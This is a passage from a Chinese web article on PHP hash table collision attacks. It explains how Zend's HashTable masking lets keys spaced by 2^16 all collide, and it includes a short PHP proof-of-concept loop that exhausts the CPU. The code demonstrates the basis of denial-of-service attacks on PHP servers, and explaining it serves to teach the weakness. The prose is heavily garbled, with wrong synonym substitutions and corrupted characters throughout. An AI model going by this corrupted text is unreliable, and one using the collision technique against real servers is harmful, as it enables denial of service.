即简单将数据的原始key与HashTable的nTableMask进行按位与即可。
下面是Zend源码中查找哈希表的代码:
个中zend_hash_index_find用于查找整数key的情况,zend_hash_find用于查找字符串key。逻辑根本一致,只是字符串key会经由过程zend_inline_hash_func转为整数key,zend_inline_hash_func封装了times33算法,具体代码就不贴出了。
进击
根本进击
知道了PHP内部哈希表的算法,就可以应用其道理构造用于进击的数据。一种最简单的办法是应悠揭捉?码规律制造碰撞。上文提到Zend HashTable的长度nTableSize会被圆整为2的┞符数次幂,假设我们结垢荷琐2^16的哈希表,则nTableSize的二进制表示为:1 0000 0000 0000 0000,而nTableMask = nTableSize – 1为:0 1111 1111 1111 1111。接下来,可以以0为初始值,以2^16为步长,制造足够多的数据,可以获得如下推想:
0000 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
0001 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
0010 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
0011 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
0100 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
……
概况来说只要包管后16位均为0,则与掩码位于后获得的哈希值全部碰撞在地位0。
下面是应用这个道理写的一段进击代码:
- <?php
- $size = pow(2, 16);
- $startTime = microtime(true);
- $array = array();
- for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
- $array[$key] = 0;
- }
- $endTime = microtime(true);
- echo $endTime - $startTime, ' seconds', "\n";
这段代码在我的VPS上(单CPU,512M内存)上用了近88秒才完成,并且在此时代CPU资本几乎被用尽:
推荐阅读
一些IT专业人员可以看到大年夜办事器操作体系抽象应用法度榜样的潜力。如今,这项技巧方才起步。在办事器虚拟>>>详细阅读
本文标题:PHP哈希表碰撞攻击原理
地址:http://www.17bianji.com/lsqh/35521.html
1/2 1